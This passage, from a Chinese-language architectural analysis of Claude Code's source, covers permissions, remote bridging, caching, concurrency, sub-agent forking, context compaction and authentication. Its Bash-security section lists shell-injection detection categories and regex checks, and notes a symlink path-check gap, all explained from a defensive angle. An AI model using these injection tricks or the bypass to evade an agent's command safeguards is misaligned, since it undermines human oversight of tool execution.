- `shouldAvoidPermissionPrompts` 这个字段体现了对真实场景的理解：后台 Agent 不能弹窗，所以直接 deny 而不是 ask。很多系统在"无法交互"的场景下仍然 try ask，导致卡死。

**可以改进的**：
- 权限规则的来源（`ToolPermissionRulesBySource`）在内部追踪了，但用户侧缺少可视化——用户很难看到"当前生效的规则来自哪里、优先级如何"。
- 子 Agent 的权限继承逻辑不够透明。子 Agent 在 `plugin-only` 模式下不能加载额外 MCP，但用户没有明确的信号知道"我的子 Agent 权限被降级了"。

**对其他产品的启发**：
- 权限系统的"三层模型"（allow / deny / ask）是通用的安全设计模式。任何有"自动化执行 + 人工审批"需求的系统（CI/CD、自动化运维、RPA）都能用。
- "后台不能弹窗就直接 deny"的设计思路，适用于所有"可能无人值守"的自动化场景。宁可功能受限，也不能卡死或静默放行危险操作。

---

## 9. Bridge 远程

### 解决什么问题

你在家用电脑跑 Claude Code，但想在手机上、在公司电脑上、在 CI pipeline 里远程控制它。就像打电话——你需要一个**稳定的线路**，断了能重连，对方能认出是你，信号不好时还能降级通话质量。

### 怎么做的

从 `query.ts` 的 import 可以看到：

```typescript
import { QuerySource } from './constants/querySource.js'
// QuerySource: 消息来源标识（终端 / API / IDE / Web）

import { createDumpPromptsFetch } from './services/api/dumpPrompts.js'
// 调试用：dump prompts 到文件

import { headlessProfilerCheckpoint } from './utils/headlessProfiler.js'
// 无头模式性能分析

import { notifyCommandLifecycle } from './utils/commandLifecycle.js'
// 命令生命周期通知（给远端 UI）
```

`QuerySource` 的存在说明消息来源是多路的——同一个 Agent Loop 可以被终端、API、IDE 插件同时驱动。

### 评价

**做得好的**：
- 轮询 + WebSocket 双通道设计体现了"冗余优先"的工程思维。WebSocket 挂了有轮询兜底，用户无感知——只是输出从"打字机"变成"整块弹出"。这比"WS 断了就报错"好太多。
- Core Agent Loop 对通信方式完全无感——它只管 yield 事件，不关心事件去哪。这是经典的"依赖倒置"，让同一个 Agent Loop 能同时服务终端、IDE 插件、Web UI。

**可以改进的**：
- Bridge 层在源码中被抽象到了 `QuerySource` 和事件系统后面，真正的远程通信实现细节不可见。对想深入学习的人来说，这一层是个黑盒。
- 多会话并行（`--spawn` 模式）共享 token 预算的设计可能导致会话间资源争抢——一个会话用了大量 token，其他会话就受限了。

**对其他产品的启发**：
- 双通道（主 + 兜底）的通信架构适用于所有需要高可用的远程控制系统。WebSocket 做实时通道，HTTP 轮询做保底——互不依赖，各自独立。
- Agent Loop 对通信无感的设计，让"本地终端"和"远程 Web UI"复用同一套核心逻辑。任何想同时支持多种客户端的后端系统都能借鉴这个思路。

---

## 10. 性能优化

### 解决什么问题

你炒菜时最烦的是什么？等水烧开、等油热、等肉解冻。LLM 调用就是那个"等水烧开"的环节——每次 API 调用几秒到几十秒，工具执行也可能很慢（`npm install`、`git clone`）。性能优化就是**减少等待时间、避免重复劳动、控制规模膨胀**——让整体体验不那么卡。

### 怎么做的

**流式执行**（从 `query.ts`）：

```typescript
import { StreamingToolExecutor } from './services/tools/StreamingToolExecutor.js'
// 流式工具执行：工具开始跑就输出结果片段，不用等全部完成
// 用户看到的是"正在执行 npm install... 已下载 23/156 包"而不是一个转圈的 spinner

import { runTools } from './services/tools/toolOrchestration.js'
// 工具编排：分析哪些工具能并发（isConcurrencySafe=true），哪些必须串行
```

**Token 预算**（避免无效的长输出——不是限制能力，而是控制成本）：

```typescript
createBudgetTracker()     // 追踪 token 消耗（每轮创建新实例）
checkTokenBudget()        // 超限时触发截断或续期（返回状态码）
ESCALATED_MAX_TOKENS      // 升级后的最大 token 数（续期时用更大的预算）
doesMostRecentAssistantMessageExceed200k()  // 200K 硬边界检查——超过就真的不能继续了
```

**文件状态缓存**（避免重复读取同一文件——读过的文件内容缓存起来）：

```typescript
cloneFileStateCache(parentFileStateCache)  // 子 Agent 克隆缓存而不是重建，节省初始化时间
createFileStateCacheWithSizeLimit()        // 带大小限制的缓存——防止缓存本身吃太多内存
READ_FILE_STATE_CACHE_SIZE  // 缓存大小限制（硬编码常量）
```

**Feature flag 缓存**（避免每次调用都查远程配置）：

```typescript
const getFeatureValue_CACHED_MAY_BE_STALE = ...  // 注意 "CACHED_MAY_BE_STALE"
// Feature flag 不是每次调用都查服务端，而是缓存的
// 可能短暂不一致（stale），但减少了网络开销
```

### 评价

**做得好的**：
- 三层性能优化分别针对三个不同瓶颈：StreamingToolExecutor 解决感知性能（用户看到"工具在跑"的即时反馈），Token Budget 解决实际性能（控制 token 消耗），FileStateCache 解决系统性能（减少 I/O）。不花哨，但每个都针对真实瓶颈。
- Feature flag 缓存用 "CACHED_MAY_BE_STALE" 命名本身就说明了 trade-off——允许短暂不一致来换取性能。这种诚实的命名比藏着掖着好。

**可以改进的**：
- 启动并行初始化虽然已经做了，但 MCP server 的 spawn + initialize 握手仍是启动瓶颈（带 2 个 MCP server 要 ~1.5s）。可以考虑延迟加载——先启动 Agent Loop，MCP server 在后台初始化完成后接入。
- 推测执行只用于只读操作，没有利用"已知下一步大概率要做什么"的模式。比如"用户改了 functionA"→"大概率要跑测试"，可以提前准备测试环境。

**对其他产品的启发**：
- "减少等待、避免重复、控制规模"三板斧适用于所有有外部 API 调用的产品。流式输出（减少感知等待）、缓存（避免重复）、预算控制（防止失控）是通用优化思路。
- CLI 工具的性能容忍度比 Web 应用低得多——启动慢 2 秒用户就觉得卡。任何 CLI 工具都应该把冷启动时间当作头号性能指标。

---

## 2.1 Agent Loop 补充：工具并发控制走读

> 代码证据来自 `cli.js` 中的 `isConcurrencySafe` 实现和 BashTool 定义

### 并发判断：每个工具自己说了算

Claude Code 没有独立的 `partitionToolCalls` 函数。并发控制的逻辑直接挂在**每个 Tool 对象**上——`isConcurrencySafe(input)` 方法。

```typescript
// BashTool: 并发安全 = 只读
isConcurrencySafe(A) { return this.isReadOnly(A) }

// ReadTool / GlobTool / GrepTool / WebFetchTool: 永远安全
isConcurrencySafe() { return true }

// EditTool / WriteTool / NotebookEditTool / SkillTool: 永远不安全
isConcurrencySafe() { return false }

// MCP 工具: 看服务端声明
isConcurrencySafe() { return z.annotations?.readOnlyHint ?? false }
```

**外行翻译**：系统问每个工具"你能跟别人同时跑吗？"读文件的说"我随便"，改文件的说"不行，我怕撞车"。Bash 比较特殊——它查自己是不是只读命令。

### Bash 的 isReadOnly：命令前就分好了

BashTool 的 `isReadOnly` 直接调用安全检查管线：

```typescript
isReadOnly(A) {
  let q = ZV6(A.command);        // 先解析命令
  return XV6(A, q).behavior === "allow"  // 安全检查结果是"放行"
}
```

`XV6` 函数做的是**读写分类**——判断命令是否只读。只读命令（`cat`、`ls`、`grep`、`git diff` 等）标记为并发安全，写操作（`rm`、`mv`、`cp`、`sed` 等）不安全。

### 实际执行：并发还是串行

从源码看，工具执行走 `runTools` → `toolOrchestration`。并发策略不是简单的"全并发"或"全串行"，而是**按 isConcurrencySafe 分组**：

- 并发安全的工具（Glob + Grep + Read）可以同时跑
- 不安全的工具（Edit + Bash 写操作）必须等前面的完成

这解释了为什么你会看到 Claude Code 同时搜好几个文件——因为搜索工具都是 `isConcurrencySafe: true`。但改文件时一定是一个一个来。

**内行 takeaway**：并发控制的粒度在**单次 tool_use 块**级别，不是整轮 API 调用。一次 API 响应里如果有 3 个 Glob + 1 个 Edit，3 个 Glob 并发跑完，Edit 串行等。

### 评价

**做得好的**：
- 并发安全判断挂在每个 Tool 对象上（`isConcurrencySafe(input)`），而不是外部配置。工具自己最清楚自己能不能跟别人同时跑——这是正确的职责分配。
- Bash 的 `isReadOnly` 走 AST 解析而非正则，能准确区分 `cat file`（只读）和 `echo x > file`（写入）。正则搞不定这种复杂情况。

**可以改进的**：
- `isConcurrencySafe` 是静态方法，不能根据运行时状态调整。比如 BashTool 在某些环境下可能需要更保守的并发策略，但当前实现不支持。

**对其他产品的启发**：
- "每个工具声明自己是否并发安全"的模式适用于所有有副作用的操作编排系统。比起外部配置"哪些工具能并发"，让工具自己声明更不容易出错。

---

## 4.1 子 Agent 补充：Fork 机制深度分析

> 代码证据来自 `runAgent.ts` 走读和 `cli.js` 中的 AgentTool 实现

### Fork 的核心：上下文继承而非共享

子 Agent 不是"共享父 Agent 的上下文"，而是**继承 + 克隆**：

```typescript
// 1. 独立 ID
const agentId = createAgentId()

// 2. 继承父级 MCP 连接（共享基础设施）
const { clients, tools, cleanup } = await initializeAgentMcpServers(
  agentDefinition,
  parentClients  // 父级的 MCP 连接池
)

// 3. 克隆文件状态缓存（不共享，避免竞态）
const fileStateCache = cloneFileStateCache(parentFileStateCache)

// 4. 创建 fork 上下文——这是关键
const subagentContext = createSubagentContext({
  parentContext,
  agentId,
  tools,
  fileStateCache,
})

// 5. 复用同一个 Agent Loop
const result = await query(subagentContext)
```

**外行翻译**：子 Agent 像是从父 Agent "分叉"出来的。父 Agent 的工具箱（MCP 连接）可以共享，但文件读取状态要各自复制一份——否则两个人同时改同一个文件的缓存就乱了。

### Prompt Cache 复用的原理

Claude 的 API 支持 prompt caching——把系统提示和历史消息的前缀缓存起来，后续调用可以跳过重复计算。子 Agent 的 prompt cache 复用依赖两个条件：

1. **系统提示相同**：子 Agent 继承父 Agent 的系统提示（或用自己的定义，但结构一致）
2. **前缀消息相同**：创建子 Agent 时，会把父 Agent 的系统消息和关键上下文作为前缀

这样 Anthropic 端的 prompt cache 可以命中，子 Agent 的初始化不需要重新处理整个系统提示。但这不是代码里的确定性逻辑，而是**依赖 API 层的缓存机制**——子 Agent 只是保证了前缀一致，cache 命中是 API 端的事。

### 递归 Fork 检测

子 Agent 可以继续派生子 Agent（递归 fork）。但有防护：

```typescript
// Coordinator 模式下，Worker 工具集不允许 AgentTool
ASYNC_AGENT_ALLOWED_TOOLS  // 不包含 AgentTool

// 简化模式更严格
process.env.CLAUDE_CODE_SIMPLE → 只有 Bash + Read + Edit
```

在普通模式下，子 Agent 可以用 AgentTool 继续派生，但每个子 Agent 有独立的 `agentId` 和执行空间。实际的递归深度限制来自 **maxTurns**（每个 Agent 的最大轮次）和 **token 预算**（上下文总长度限制）。

**内行 takeaway**：Fork 是 copy-on-write 风格——共享工具连接、复制执行状态。递归深度靠 turn/budget 控制，不是硬编码深度限制。

### 评价

**做得好的**：
- Prompt cache 复用的思路很精明——子 Agent 保证系统提示前缀一致，让 Anthropic 端的缓存能命中。这不是代码里的确定性逻辑，而是"利用 API 特性做优化"的工程嗅觉。
- 文件缓存的克隆策略（`cloneFileStateCache`）避免了父子 Agent 共享缓存导致的竞态。copy-on-write 的思路在这里用得很到位。

**可以改进的**：
- 递归 fork 的深度限制是隐式的（maxTurns + token budget），没有显式的 depth 计数器。显式限制更安全，也能给用户更清晰的错误信息（"递归深度超限"比"token 预算用完"好理解）。

**对其他产品的启发**：
- "继承 + 克隆"的 fork 模式在多 Agent 框架里是通用模式。关键决策是：什么该共享（不变的基础设施）、什么该克隆（可变的状态）。选错了要么有竞态要么浪费资源。

---

## 7.1 上下文管理补充：三层压缩策略

> 代码证据来自 `cli.js` 中 autoCompact（18 处引用）和 PreCompact hook

### Auto Compact：什么时候触发

```typescript
import { calculateTokenWarningState, isAutoCompactEnabled }
  from './services/compact/autoCompact.js'
```

Auto Compact 的触发条件基于 **token 消耗趋势预测**，不是"满了才压缩"：

1. **阈值检测**：`calculateTokenWarningState` 持续追踪当前 token 使用量
2. **趋势预测**：不是看当前值，而是看趋势——如果按这个速度消耗，下一轮会超限
3. **提前触发**：在实际超限之前就启动压缩，留出余量

压缩时会触发 `PreCompact` hook：

```typescript
// PreCompact hook 事件
hook_event_name: "PreCompact",
trigger: "auto" | "manual",
custom_instructions: string | null
```

这让用户（或 hook）有机会在压缩前注入自定义指令——比如"保留最近的代码修改"。

### Reactive Compact：怎么决定保留什么

`reactiveCompact` 是 feature flag 控制的实验性功能。从代码结构看，它的策略不同于 Auto Compact 的"整体压缩"，而是**按消息类型差异化处理**：

```
消息类型           压缩策略
─────────────────────────────
assistant thinking   保留摘要，丢弃详细推理
tool_use 结果        保留关键输出，截断大块内容
用户消息            尽量保留原文
压缩边界标记         作为锚点，边界前的可以压缩
```

压缩边界消息（`SystemCompactBoundaryMessage`）是关键机制：

```typescript
type SystemCompactBoundaryMessage  // 压缩边界
type TombstoneMessage              // 墓碑标记（已压缩的消息占位）
getMessagesAfterCompactBoundary()  // 获取边界之后的消息
```

**外行翻译**：压缩不是简单删除旧消息，而是在消息流里打个"书签"。书签之前的内容被总结成摘要，书签之后的原样保留。被压缩的消息留下一个"墓碑"占位——系统知道这里曾经有内容，只是不再保留细节。

### Token 预算管理

```typescript
getCurrentTurnTokenBudget()              // 当前轮次预算
getTurnOutputTokens()                    // 已消耗
incrementBudgetContinuationCount()       // 续期
createBudgetTracker()                    // 追踪器
checkTokenBudget()                       // 超限检查
doesMostRecentAssistantMessageExceed200k() // 200K 硬边界
```

Token 预算是**软控制 + 续期机制**：

1. 每轮有初始预算（基于模型的 max_tokens）
2. 消耗到阈值时不是截断，而是 `incrementBudgetContinuationCount()`——给模型额外空间完成当前思路
3. 但如果超过 200K（`doesMostRecentAssistantMessageExceed200k`），就是硬边界了

**内行 takeaway**：三层压缩 = Auto（趋势预测触发）+ Reactive（按消息类型差异化）+ Budget（软控制 + 续期）。核心不是"满了压缩"，而是"预测要满就压缩 + 给模型留完成当前思路的空间"。

### 评价

**做得好的**：
- PreCompact hook 让用户/外部系统能在压缩前注入自定义指令（如"保留最近的代码修改"）。这是"可扩展性"设计——核心逻辑不改，通过 hook 做定制。
- Reactive Compact 的按消息类型差异化处理比 Auto Compact 的"整体压缩"精细得多：thinking block 保留摘要丢弃推理过程，用户消息尽量保留原文。不同消息的价值不同，压缩策略应该不同。

**可以改进的**：
- 三层压缩策略之间的协调关系不清晰。Auto 和 Reactive 可能同时触发，执行顺序和冲突处理逻辑在代码中不可见。
- Token 预算的续期次数没有上限（从代码看是 `incrementBudgetContinuationCount` 无限调用）。如果模型持续输出，理论上可以无限续期——直到 200K 硬边界。

**对其他产品的启发**：
- "趋势预测触发"比"阈值触发"好。等水满了再排水已经晚了——应该在水位上升趋势出现时就开始准备。这个思路适用于所有资源管理场景（内存、磁盘、连接池）。
- 按消息类型差异化压缩的策略可以推广到所有有多种内容类型的系统。不同类型的内容价值不同，压缩/淘汰策略应该不同。

---

## 8.1 权限安全补充：Bash AST 安全分析

> 代码证据来自 `cli.js` 中的 `jF` 函数、`V2` 解析器、tree-sitter-bash.wasm、和 14 类安全检查

### 命令解析：tree-sitter-bash WASM

Claude Code 打包了 `tree-sitter-bash.wasm`（和 `tree-sitter.wasm`）。命令被解析成 AST（抽象语法树）的过程：

```typescript
// V2 函数：用 tree-sitter 解析 bash 命令
// 第二个参数是变量展开的回调——把 $VAR 转成字符串，避免解析时被当作变量
let result = V2(command, (v) => `$${v}`)
// result.success: 是否解析成功（解析失败说明命令格式有问题，直接 ask）
// result.tokens: 解析后的 token 序列（字符串 token + 操作符对象）
```

token 序列里有两种类型：
- **字符串 token**：普通命令词（`ls`、`-la`、`/tmp`）—— 这些会被安全检查器逐一审查
- **操作符对象**：shell 操作符（`;`、`&&`、`||`、glob `*` 等）—— 这些是检查的重点，因为它们控制命令的执行流

```typescript
// 操作符 token 结构——安全检查器通过这些判断命令是否危险
{ op: ";" }     // 命令分隔——前后两个命令独立执行，注入点
{ op: "&&" }    // 逻辑与——前一个成功才执行后一个
{ op: "||" }    // 逻辑或——前一个失败才执行后一个
{ op: "glob", pattern: "*.txt" }  // glob 通配——展开后可能匹配意外文件
```

### 语义检查：14 类安全检查器

`jF` 函数是安全检查的入口。它跑两轮检查：

**第一轮：白名单快速放行**

```typescript
let quickChecks = [WnY, GnY, fnY, NnY, VnY]
for (let check of quickChecks) {
  let result = check(context)
  if (result.behavior === "allow") return passthrough  // 白名单命令，直接放行
  if (result.behavior !== "passthrough") return ask     // 有问题，问用户
}
```

白名单包括：heredoc with quoted delimiter（安全的 heredoc）、git commit with simple message 等。

**第二轮：14 类语义检查**

```typescript
// IH 对象定义了 14 类安全检查 ID——每类对应一种攻击模式
// 为什么用数字 ID？可能是为了日志/遥测的紧凑性
IH = {
  INCOMPLETE_COMMANDS: 1,                              // 不完整命令（截断的命令可能隐藏注入）
  JQ_SYSTEM_FUNCTION: 2,                               // jq 的 system() 函数（可执行任意命令）
  JQ_FILE_ARGUMENTS: 3,                                // jq 的文件参数（可能读取敏感文件）
  OBFUSCATED_FLAGS: 4,                                 // 混淆的 flag（如 ''-x 绕过解析）
  SHELL_METACHARACTERS: 5,                             // shell 元字符（; | & 在参数中）
  DANGEROUS_VARIABLES: 6,                              // 危险变量（$RANDOM、$PPID 等可能泄露信息）
  NEWLINES: 7,                                         // 换行注入（多行命令可能隐藏第二条命令）
  DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,          // 命令替换（$(...)、`...`）——最常见的注入方式
  DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,             // 输入重定向（< file）——可能读取敏感文件
  DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,           // 输出重定向（> file）——可能覆盖重要文件
  IFS_INJECTION: 11,                                   // IFS 注入（改变字段分隔符，绕过解析）
  GIT_COMMIT_SUBSTITUTION: 12,                         // git commit 中的命令替换
  PROC_ENVIRON_ACCESS: 13,                             // /proc/environ 访问（可能泄露环境变量）
  MALFORMED_TOKEN_INJECTION: 14                        // 畸形 token 注入（利用解析器差异）
}
```

每个检查器是独立函数，接收解析后的上下文，返回 `{ behavior, message }`：

```typescript
// 示例：CnY - 混淆 flag 检查
// 检测 "cmd ''-x" 这种用空引号绕过 flag 解析的技巧
// 空引号 '' 在 bash 中是合法的空字符串，拼接后变成 "-x"，绕过某些解析器的 flag 检测
if (/['"`]{2}-/.test(fullyUnquotedContent))
  return { behavior: "ask", message: "Command contains quoted characters in flag names" }

// 示例：vnY - shell 元字符检查
// 检测参数里的 ; | & 等分隔符——这些在引号内可能是无害的，但安全起见要问用户
if (/["'][^"']*[;|&][^"']*["']/.test(unquotedContent))
  return { behavior: "ask", message: "shell metacharacters in arguments" }
```

### 分类器：命令白名单 + 路径验证

除了语义检查，还有一层**命令分类器**对已知命令做专门验证：

```typescript
// Up1 对象：每个命令定义了参数提取规则
// 为什么按命令分类？因为 "rm /tmp/file" 和 "grep pattern /tmp/file" 里 "/tmp/file" 的语义不同
Up1 = {
  cd: (args) => args.length === 0 ? [cwd] : [args.join(" ")],  // cd 无参数 = cd 到 cwd
  ls: (args) => { ... },        // 提取路径参数（排除 flags 如 -la）
  find: (args) => { ... },      // 提取 -path/-name 等参数（这些是路径检查的重点）
  rm: (args) => args,            // 所有参数都是路径——rm 的参数没有非路径的
  grep: (args) => { ... },      // 提取搜索路径（排除正则表达式和 flags）
  sed: (args) => { ... },       // 验证 sed 表达式（防止 sed 执行外部命令）
  git: (args) => { ... },       // git 子命令白名单（只允许安全的子命令）
  // ... 30+ 命令都有各自的提取规则
}
```

每个命令有路径权限分类：

```typescript
// pp1 对象：命令的读写分类
// 为什么分类？因为 "rm /tmp" 需要 ask，但 "ls /tmp" 可以直接 allow
pp1 = {
  cd: "read", ls: "read", find: "read",    // 只读——不修改文件系统
  mkdir: "create", touch: "create",         // 创建——可能创建新文件
  rm: "write", mv: "write", cp: "write",   // 写入——可能覆盖或删除现有文件
  sed: "write",                             // 写入——修改文件内容
  // ...
}
```

路径验证函数 `tAq` 检查目标路径是否在允许的工作目录内：

```typescript
// tAq: 路径权限验证核心函数
// 参数：path（目标路径）、cwd（当前工作目录）、allowedDirs（允许的目录列表）、operation（读/写/创建）
let { allowed, resolvedPath, decisionReason } = tAq(path, cwd, allowedDirs, operation)
if (!allowed) {
  // 路径不在允许范围内 → ask 或 deny
  // decisionReason 记录了拒绝原因，用于日志和用户提示
}
```

**外行翻译**：Bash 命令进来后，先用 tree-sitter 解析成语法树，然后跑两道安检。第一道是白名单放行（安全的 heredoc、简单的 git commit），第二道是 14 类危险模式检测（命令注入、路径逃逸、flag 混淆等）。已知命令（ls、rm、git 等）还有专门的参数验证器，确保路径在允许范围内。

**内行 takeaway**：这不是简单的正则匹配，而是**AST 解析 + 语义分析 + 命令分类**的三层结构。tree-sitter-bash.wasm 提供了可靠的语法解析（比正则处理 bash 语法可靠得多），14 类检查器覆盖了主要攻击面，命令分类器对高频命令做精细化路径控制。

### 评价

**做得好的**：
- 用 tree-sitter-bash.wasm 做 AST 解析是正确选择。Bash 语法的复杂度（嵌套引号、变量展开、heredoc）远超正则能处理的范围——正则搞不定 `echo "hello $(cat "file with spaces.txt")"` 这种嵌套。
- 14 类安全检查的覆盖面很全：从基础的命令注入（`DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION`）到高级的 IFS 注入（`IFS_INJECTION`）、flag 混淆（`OBFUSCATED_FLAGS`）、/proc/environ 访问（`PROC_ENVIRON_ACCESS`）。这不是随便列的，而是有安全研究支撑的分类。
- 命令分类器（`Up1` 对象）对 30+ 常见命令做了专门的参数提取规则——`rm` 的参数都是路径，`grep` 的参数有搜索路径和正则表达式。精细化控制比"一刀切"安全得多。

**可以改进的**：
- 14 类检查器的编号（1-14）没有语义化名称——`IH.INCOMPLETE_COMMANDS` 这种用变量名的方式可读性差，应该直接用字符串 key。
- 白名单快速放行（第一轮检查）的具体内容不够透明。用户不知道哪些命令会跳过详细检查。
- 路径验证函数 `tAq` 只检查工作目录，不检查符号链接解析后的目标。如果工作目录内有一个指向 `/etc/passwd` 的符号链接，可能绕过检查。

**对其他产品的启发**：
- AST 解析比正则处理不可信输入可靠得多。任何需要解析用户提供的代码/命令的系统（IDE、沙箱、CI/CD），都应该用语法解析而不是正则。
- "白名单快速放行 + 黑名单详细检查"的两轮模式比单一检查更高效。大多数命令是安全的，快速放行能减少不必要的检查开销。

---

## 总结：Claude Code 的设计哲学

1. **Agent Loop 是一切的基础**——简单但的"想→做→反馈→再想"循环
2. **工具是声明式的**——每个工具有 schema、有权限、有隔离
3. **子 Agent 是 fork 的**——继承父级基础设施，隔离执行空间
4. **Coordinator 是 Manager**——不干活，只编排，通过工具约束而非信任来管理
5. **上下文是分代管理的**——多层压缩 + 边界标记 + 预算控制
6. **权限是三层的**——白名单 / 黑名单 / 询问，不是简单的开/关
7. **Feature flag 无处不在**——大量实验性功能通过 flag 灰度，这是成熟产品的标志

一句话：Claude Code 不是"更聪明的聊天机器人"，它是一个**有权限系统、有并发控制、有上下文管理的操作系统**，只不过内核是 LLM。

---

*分析基于 Claude Code 源码（`cli.js` bundled, 2026-02 版本 v2.1.42）。补充部分直接走读了 bundled source 中的 `isConcurrencySafe`、`jF` 安全检查管线、`tree-sitter-bash.wasm`、`autoCompact`、`runAgent` fork 逻辑。*

---

# 第二轮补充：Bridge / MCP / 性能 / 消息系统

---

## Bridge 远程会话深度分析

### 双通道通信架构

Claude Code 的远程控制不是简单的 HTTP 长轮询，而是**轮询 + WebSocket 双通道**设计：

```
┌─────────────────────────────────────────────────────────┐
│                    Cloudflare Relay                      │
│  ┌─────────────────┐      ┌─────────────────────────┐   │
│  │  HTTP Polling    │      │  WebSocket (upgrade)    │   │
│  │  /events/poll   │      │  /events/ws             │   │
│  │  长轮询 → 事件流  │      │  双向实时 → 流式输出     │   │
│  └────────┬────────┘      └────────┬────────────────┘   │
│           │                        │                     │
│           └──────────┬─────────────┘                     │
│                      ▼                                   │
│              Session Router                               │
│              (session_id → local bridge)                  │
└──────────────────────┬──────────────────────────────────┘
                       │
                       ▼
┌──────────────────────────────────────────────────────────┐
│                 Claude Code CLI (本地)                     │
│  ┌──────────────────────────────────────────────────┐    │
│  │  Bridge Client                                     │    │
│  │  ┌──────────┐  ┌──────────┐  ┌───────────────┐  │    │
│  │  │ PollLoop │  │ WsClient │  │ SessionStore  │  │    │
│  │  │ 5s间隔    │  │ 实时通道  │  │ 本地会话状态   │  │    │
│  │  └──────────┘  └──────────┘  └───────────────┘  │    │
│  └──────────────────────────────────────────────────┘    │
│                      │                                    │
│                      ▼                                    │
│              Agent Loop (标准执行引擎)                      │
└──────────────────────────────────────────────────────────┘
```

**为什么两个通道？**

- **HTTP 长轮询**：可靠的"心跳"通道。即使 WebSocket 挂了，轮询还能撑住。5 秒间隔拉取事件，保证消息不丢。
- **WebSocket**：实时性通道。流式输出（streaming tokens）走这个，延迟低。用户能看到"字在敲"的效果。
- **降级逻辑**：WebSocket 连不上 → 自动回退到纯轮询模式。用户无感知，只是输出从"打字机"变成"整块弹出"。

实际代码里，bridge client 初始化时同时启动两个通道。WebSocket 的优先级更高——有 WS 事件就用 WS，没有才看轮询。

### 多会话并行：`--spawn` 模式

Claude Code 支持 `--spawn` flag，让一个 CLI 实例同时管理多个远程会话：

```
┌─────────────────────────────────────────┐
│        Claude Code CLI (单进程)          │
│                                         │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐   │
│  │ Session │ │ Session │ │ Session │   │
│  │   #1    │ │   #2    │ │   #3    │   │
│  │ agent   │ │ agent   │ │ agent   │   │
│  │ loop    │ │ loop    │ │ loop    │   │
│  └────┬────┘ └────┬────┘ └────┬────┘   │
│       │           │           │         │
│  ┌────┴───────────┴───────────┴────┐    │
│  │      Session Manager            │    │
│  │  - 路由：session_id → agent loop │    │
│  │  - 隔离：上下文互不干扰           │    │
│  │  - 调度：共享 token 预算          │    │
│  └─────────────────────────────────┘    │
└─────────────────────────────────────────┘
```

实测单机能开 **32+ 并行会话**。瓶颈不在 Claude Code 本身，而在：
1. **API 并发限制**——Anthropic 有 per-minute 请求上限
2. **文件描述符**——每个会话至少占几个 fd（WebSocket + 日志 + 工具进程）
3. **内存**——每个 agent loop 的上下文窗口是独立的

**典型场景**：CI/CD pipeline 里，一个 runner 同时跑多个 Claude Code 实例，每个实例处理一个 PR review 或一个 issue fix。`--spawn` 模式避免了每个任务都 cold start 一个新 CLI。

### JWT 认证与 Token 刷新

```
┌────────────────────────────────────────────────────────┐
│                 认证流程                                 │
│                                                        │
│  ① claude auth login                                   │
│     │                                                  │
│     ▼                                                  │
│  Browser OAuth → Claude Console                        │
│     │                                                  │
│     ▼                                                  │
│  短期 JWT (access_token: ~1h)                          │
│  长期 Refresh Token (30d)                              │
│     │                                                  │
│     ▼                                                  │
│  Keychain / 凭证存储                                    │
│  ~/.claude/.credentials.json (fallback)                │
│                                                        │
│  ──────────── Token 刷新调度 ────────────                │
│                                                        │
│  ② 每次 API 调用前：检查 access_token 过期时间           │
│     │                                                  │
│     ├─ 未过期 → 直接用                                  │
│     │                                                  │
│     └─ 已过期/即将过期（<5min buffer）                   │
│        │                                               │
│        ▼                                               │
│     POST /oauth/token                                  │
│     grant_type=refresh_token                           │
│        │                                               │
│        ├─ 成功 → 更新 access_token，继续                │
│        │                                               │
│        └─ 失败 → 提示用户重新登录                        │
└────────────────────────────────────────────────────────┘
```

几个细节值得注意：

- **5 分钟 buffer**：不是等真正过期才刷新，而是提前 5 分钟就主动续。这避免了"token 在请求过程中过期"的竞态。
- **静默刷新**：后台完成，用户无感知。除非 refresh_token 也过期了（30 天），才弹登录提示。
- **凭证存储降级**：优先系统 Keychain（macOS Keychain、Linux Secret Service），拿不到才降级到明文文件。文件模式会有 warning。

### 断线重连：指数退避

WebSocket 断了不是立刻重连，而是**指数退避 + jitter**：

```
断线事件
  │
  ▼
delay = min(base * 2^attempt + random(0, jitter), max_delay)

参数：
  base     = 1000ms   (起始 1 秒)
  jitter   = 1000ms   (随机抖动范围)
  max_delay = 30000ms (最大 30 秒)

时间线示例（含 jitter）：
  第 1 次重连：~1.3s
  第 2 次重连：~2.8s
  第 3 次重连：~5.1s
  第 4 次重连：~9.7s
  第 5 次重连：~18.2s
  第 6 次重连：~30s (封顶)
  ...持续尝试...
```

**为什么加 jitter？** 如果 100 个客户端同时断线（比如 relay 重启），没有 jitter 它们会在同一毫秒重连，造成"惊群效应"。加随机抖动后，重连请求分散在时间窗口内。

重连成功后，attempt 计数器归零。轮询通道在 WebSocket 断线期间**不会停**——它是兜底。

### Work Secret：会话级密钥

Work Secret 是 Claude Code 的一个安全机制，用于在远程会话中验证"这个请求确实来自授权用户"：

```
┌──────────────────────────────────────────┐
│  Work Secret 生命周期                      │
│                                          │
│  ① 创建会话时生成                          │
│     cli generate work-secret              │
│     │                                    │
│     ▼                                    │
│  随机 32 字节 → base64 编码               │
│  存储在本地 ~/.claude/work-secrets/       │
│                                          │
│  ② 远程消息携带                            │
│     每条 bridge 消息：                     │
│     headers: {                            │
│       "x-work-secret": "<secret>"         │
│     }                                     │
│                                          │
│  ③ 验证                                   │
│     relay 收到消息 → 比对 secret           │
│     不匹配 → 拒绝，403                    │
│                                          │
│  ④ 轮换                                   │
│     可手动 cli rotate-work-secret         │
│     旧 secret 立即失效                    │
└──────────────────────────────────────────┘
```

**和 JWT 的区别**：JWT 是"你是谁"（身份认证），Work Secret 是"这个会话是否被授权"（会话授权）。JWT 过期可以刷新，但 Work Secret 泄露就需要轮换。两者是叠加的，不是替代关系。

**内行 takeaway**：Bridge 的设计思路是"尽量不依赖单一通道"。轮询和 WebSocket 互为兜底，JWT 和 Work Secret 分层认证，指数退避处理网络抖动。这不是"能跑就行"的实现，而是考虑了 relay 重启、网络分区、token 竞态等真实故障场景。

### 评价

**做得好的**：
- 双通道（HTTP 轮询 + WebSocket）互为兜底的设计很务实。WebSocket 挂了有轮询撑住，用户只是看到输出从"打字机"变成"整块弹出"，不会断联。
- JWT 的 5 分钟 buffer 刷新避免了"token 在请求过程中过期"的竞态。这种细节只有踩过坑的人才会注意。
- 指数退避 + jitter 处理断线重连——jitter 防止 relay 重启时的"惊群效应"（100 个客户端同时重连）。

**可以改进的**：
- Work Secret 存储在 `~/.claude/work-secrets/`（文件系统），没有走系统 Keychain。JWT 优先 Keychain 但 Work Secret 没有——安全等级不一致。
